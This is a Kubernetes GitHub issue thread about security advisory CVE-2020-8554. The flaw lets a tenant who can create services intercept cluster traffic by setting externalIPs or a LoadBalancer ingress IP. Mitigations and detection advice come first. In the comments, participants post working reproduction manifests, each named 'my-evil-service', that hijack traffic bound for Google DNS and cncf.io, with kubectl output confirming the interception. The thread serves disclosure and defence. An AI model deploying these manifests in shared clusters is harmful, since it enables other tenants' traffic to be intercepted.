CVE-2020-8554: Man in the middle using LoadBalancer or ExternalIPs

[tallclair]

CVSS Rating: Medium (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)

This issue affects multitenant clusters. If a potential attacker can already create or edit services and pods, then they may be able to intercept traffic from other pods (or nodes) in the cluster.

An attacker that is able to create a ClusterIP service and set the spec.externalIPs field can intercept traffic to that IP. An attacker that is able to patch the status (which is considered a privileged operation and should not typically be granted to users) of a LoadBalancer service can set the status.loadBalancer.ingress.ip to similar effect.
This issue is a design flaw that cannot be mitigated without user-facing changes.

Affected Components and Configurations

All Kubernetes versions are affected. Multi-tenant clusters that grant tenants the ability to create and update services and pods are most vulnerable.

Mitigations

There is no patch for this issue, and it can currently only be mitigated by restricting access to the vulnerable features. Because an in-tree fix would require a breaking change, we will open a conversation about a longer-term fix or built-in mitigation after the embargo is lifted

To restrict the use of external IPs we are providing an admission webhook container: k8s.gcr.io/multitenancy/externalip-webhook:v1.0.0. The source code and deployment instructions are published at https://github.com/kubernetes-sigs/externalip-webhook.

Alternatively, external IPs can be restricted using OPA Gatekeeper. A sample ConstraintTemplate and Constraint can be found here: https://github.com/open-policy-agent/gatekeeper-library/tree/master/library/general/externalip.

No mitigations are provided for LoadBalancer IPs since we do not recommend granting users patch service/status permission. If LoadBalancer IP restrictions are required, the approach for the external IP mitigations can be copied.

Detection

ExternalIP services are not widely used, so we recommend manually auditing any external IP usage. Users should not patch service status, so audit events for patch service status requests authenticated to a user may be suspicious.

If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io

Acknowledgements

This vulnerability was reported by Etienne Champetier (@champtar) of Anevia.

/area security
/kind bug
/committee product-security
/sig network

[k8s-ci-robot]

@tallclair: There are no sig labels on this issue. Please add an appropriate label by using one of the following commands:

• /sig <group-name>
• /wg <group-name>
• /committee <group-name>

Please see the group list for a listing of the SIGs, working groups, and committees available.

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

[k8s-ci-robot]

@tallclair: This issue is currently awaiting triage.

If a SIG or subproject determines this is a relevant issue, they will accept it by applying the triage/accepted label and provide further guidance.

The triage/accepted label can be added by org members by writing /triage accepted in a comment.

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

[jcrowthe]

This ticket is sparse on details. May either more detail or a POC be provided?

[dharmab]

I'm particularly confused by this line:

An attacker that is able to create a ClusterIP service and set the spec.externalIPs field can intercept traffic to that IP.

Is traffic intercepted if the client is using the service discovery name or another DNS name that resolves to the targeted IP? Or is this only intercepted if the client uses the IP address without DNS?

[tallclair]

If you create a service with an arbitrary external IP, then traffic to that external IP from within the cluster will be routed to that service. This lets an attacker that has permission to create a service with an external IP to intercept traffic to any target IP.

The routing happens at the IP layer, so I don't think it matters if they use DNS or not (once DNS resolves to the target IP, I think it will still be intercepted).

[dharmab]

Ah, I see. So I could create a Service like this to intercept some or all UDP traffic from Pods in the cluster to Google DNS:

apiVersion: v1
kind: Service
metadata:
  name: my-evil-service
  namespace: my-evil-namespace
spec:
  selector:
    app: my-evil-dns-server
  ports:
    - name: dns
      protocol: UDP
      port: 53
      targetPort: 9053
  externalIPs:
    - 8.8.8.8
    - 8.8.4.4

[tallclair]

I'm closing this issue, since #97110 captures the follow up items.

[champtar]

I'll try to finish my write up tonight, but when I did all my tests externalIPs were not working in some cases where LoadBalancer was working.
EDIT: Here the write up: https://blog.champtar.fr/K8S_MITM_LoadBalancer_ExternalIPs/

[danquack]

For those looking to reproduce from the above ^

~ kubectl run nginx --image nginx:latest --port 80
~ cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Service
metadata:
  name: my-evil-service
spec:
  selector:
    run: nginx
  type: LoadBalancer
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 80
  externalIPs:
    - 23.185.0.3 #cncf.io
EOF
~ kubectl get service
NAME              TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)   AGE
kubernetes        ClusterIP      10.96.0.1      <none>        443/TCP        25d
my-evil-service   LoadBalancer   10.97.145.71   23.185.0.3    80:30904/TCP   47m
~  kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://cncf.io
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Tue, 08 Dec 2020 02:22:21 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 24 Nov 2020 13:02:03 GMT
Connection: keep-alive
ETag: "5fbd044b-264"
Accept-Ranges: bytes
...
~  kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://23.185.0.3
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Tue, 08 Dec 2020 02:17:52 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 24 Nov 2020 13:02:03 GMT
Connection: keep-alive
ETag: "5fbd044b-264"
Accept-Ranges: bytes
...

[champtar]

@maplain just edited my message, with my write-up link, you will find in it how to patch the status easily
@danquack you are using type: LoadBalancer and externalIPs, never tried that, does it change anything compared to type: ClusterIP

[maplain]

you are using type: LoadBalancer and externalIPs, never tried that, does it change anything compared to type: ClusterIP

I actually tried to set externalIP and loadBalancerIP both using type: loadBalancer. As a result, I'm able to intercept traffic destined for both.
(I used Google's IP in externalIPs and one VIP for another application in loadBalancerIP)

kube-proxy has similar parallel logic to handle them: https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go#L1088 and https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go#L1164 so the finding is aligned

[danquack]

@champtar ClusterIP seemed to do the same result. In my local environment, external IP hangs in pending, so that's why I went with externalIPs over loadBalancerIP

~ cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Service
metadata:
  name: my-evil-service
spec:
  selector:
    run: nginx
  type: ClusterIP
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 80
  externalIPs:
    - 23.185.0.3 #cncf.io
EOF
 ~ kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://cncf.io
HTTP/1.1 200 OK
Server: nginx/1.19.5

[champtar]

@maplain what LoadBalancer are you using ? if just setting loadBalancerIP make the LB patch the status with this IP this is a problem

[borgerli]

Thanks. But I could not reproduce the problem in my minikube 1.19 cluster following the steps. Here is what I got:

ubuntu@server:~$ kubectl get svc 
NAME              TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)   AGE
kubernetes        ClusterIP   10.96.0.1       <none>        443/TCP   4m55s
my-evil-service   ClusterIP   10.107.202.84   23.185.0.3    80/TCP    3m45s
ubuntu@server:~$ kubectl get ep
NAME              ENDPOINTS           AGE
kubernetes        192.168.49.2:8443   5m
my-evil-service   172.17.0.3:80       3m50s
ubuntu@server:~$ kubectl get po -o wide
NAME    READY   STATUS    RESTARTS   AGE   IP           NODE       NOMINATED NODE   READINESS GATES
nginx   1/1     Running   0          4m    172.17.0.3   minikube   <none>           <none>
ubuntu@server:~$ kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://23.185.0.3
HTTP/1.1 404 Unknown site
Retry-After: 0
Server: Pantheon
X-pantheon-fun-reason: The gods are wise, but do not know of the site which you seek.
X-pantheon-fun-extended: Please double-check that you are using the correct url. If so, make sure it matches your dashboard's custom domain settings, and try again in 2 minutes.
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=utf-8
Content-Length: 4040
Date: Tue, 08 Dec 2020 11:40:16 GMT
Connection: keep-alive
X-Served-By: cache-mdw17334-MDW, cache-hkg17923-HKG
X-Cache: MISS, MISS
X-Cache-Hits: 0, 0
X-Timer: S1607427617.727297,VS0,VE172
Vary: Cookie, Cookie
Age: 0
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish

pod "curl" deleted

[AbirHamzi]

@champtar I'm working on a gatekeeper policy to block attempts to exploit CVE-2020-8554. Can you please give me your feedback open-policy-agent/gatekeeper-library#45

[agilgur5]

@champtar so in your write-up you mention Endpoints as well -- should Endpoints IPs also be check via policy? If so, it seems like there's potentially a number of other resources that aren't covered by existing sample policies (including loadBalancerIP as linked in above Gatekeeper PR)

[champtar]

You should not give permission to your users / applications to create Endpoints as they are created automatically.
If you can create Endpoints you might be able to steal some or all of the traffic yes, or maybe k8s will update it right away (need to check).

Now in 3a / 3b what I was doing is setting the EIP or LBIP to the IP of a victim pod, pod exposed behind a clusterIP, that's why I name it endpoint at some point

• try to talk to the pod via the clusterIP service, see if traffic is intercepted (pod/node -> clusterIP)
• try to talk to the pod directly, see if traffic is intercepted (pod/node -> endpoint)

[agilgur5]

@champtar thanks for the speedy clarification! the default namespace admin role gives permissions to create Endpoints; so that means the default for multi-tenancy is vulnerable in this resource as well and the mitigations in this issue and Gatekeeper do not cover this.
Endpoints IPs aren't limited to external IPs also, so it would also be hard to allowlist IPs here in the same way the existing policies do. Could limit the CIDR ranges, but interception is still possible.

But also with this not covered and being able to specify any IP, I'm worried there's more resources vulnerable to this as well.

[champtar]

If I remember correctly by creating Endpoints you can only attack Services in the same namespace, so if you are namespace admin you can just go edit the Service.

[bskidmore]

Is there a path forward to remediate this issue within the k8s?

[aojea]

Is there a path forward to remediate this issue within the k8s?

you can enable an admission controller #97395

[PushkarJ]

/label official-cve-feed

(Related to kubernetes/sig-security#1)

[rptaylor]

An attacker that is able to patch the status (which is considered a privileged operation and should not typically be granted to
users) of a LoadBalancer service can set the status.loadBalancer.ingress.ip to similar effect.

No mitigations are provided for LoadBalancer IPs since we do not recommend granting users patch service/status permission.

If users are denied RBAC privilege to PATCH their services as mitigation for this, is there any other way they can update their services (for non-malicious purposes)? kubectl apply seems to require PATCH.